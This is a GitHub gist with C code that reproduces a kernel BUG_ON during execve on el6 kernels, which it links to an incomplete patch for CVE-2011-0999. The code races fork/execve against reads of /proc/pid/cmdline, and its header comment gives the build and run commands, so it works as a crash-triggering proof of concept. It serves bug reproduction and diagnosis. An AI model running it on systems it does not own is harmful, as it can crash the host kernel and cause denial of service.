Skip to content

Instantly share code, notes, and snippets.

@zhangyoufu
Created November 30, 2021 09:55
Show Gist options
  • Save zhangyoufu/df239d64fb8844c8c52db90a113d948e to your computer and use it in GitHub Desktop.
Save zhangyoufu/df239d64fb8844c8c52db90a113d948e to your computer and use it in GitHub Desktop.
A reproducer for BUG_ON(is_vma_temporary_stack(vma)) during execve on el6 kernel, due to incomplete patch for CVE-2011-0999. See also https://access.redhat.com/solutions/1381363
/*
gcc -o reproducer reproducer.c
ulimit -s unlimited
ulimit -l unlimited
sysctl -w vm.overcommit_memory=1
./reproducer
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
static volatile long child_done;
static void sigchld_handler(int signum) {
(void)signum;
child_done = 1;
}
int main(int argc, char* argv[], char* envp[]) {
(void) argc;
// re-exec self to achieve lower & aligned stack
{
char **ptr;
for (ptr = envp; *ptr; ++ptr);
char *last_env = *--ptr;
char *exec = last_env + strlen(last_env) + 1;
char *stack_top = exec + strlen(exec) + 1 + 8;
if (((unsigned long)stack_top & 0x1FF000) != 0x1000 || (unsigned long)stack_top > 0x7fff08000000UL) {
execve("/proc/self/exe", argv, envp);
return 1;
}
printf("stack_top: %p\n", stack_top);
}
signal(SIGCHLD, sigchld_handler);
while (1) {
child_done = 0;
pid_t pid = fork();
if (pid) {
// parent
char buf[0x100];
int fd;
sprintf(buf, "/proc/%d/cmdline", pid);
fd = open(buf, O_RDONLY);
do {
pread(fd, buf, sizeof buf, 0);
} while (!child_done);
close(fd);
wait(NULL);
} else {
// child
char* args[] = {"/bin/true", NULL};
execve(args[0], args, &args[1]);
return 1;
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment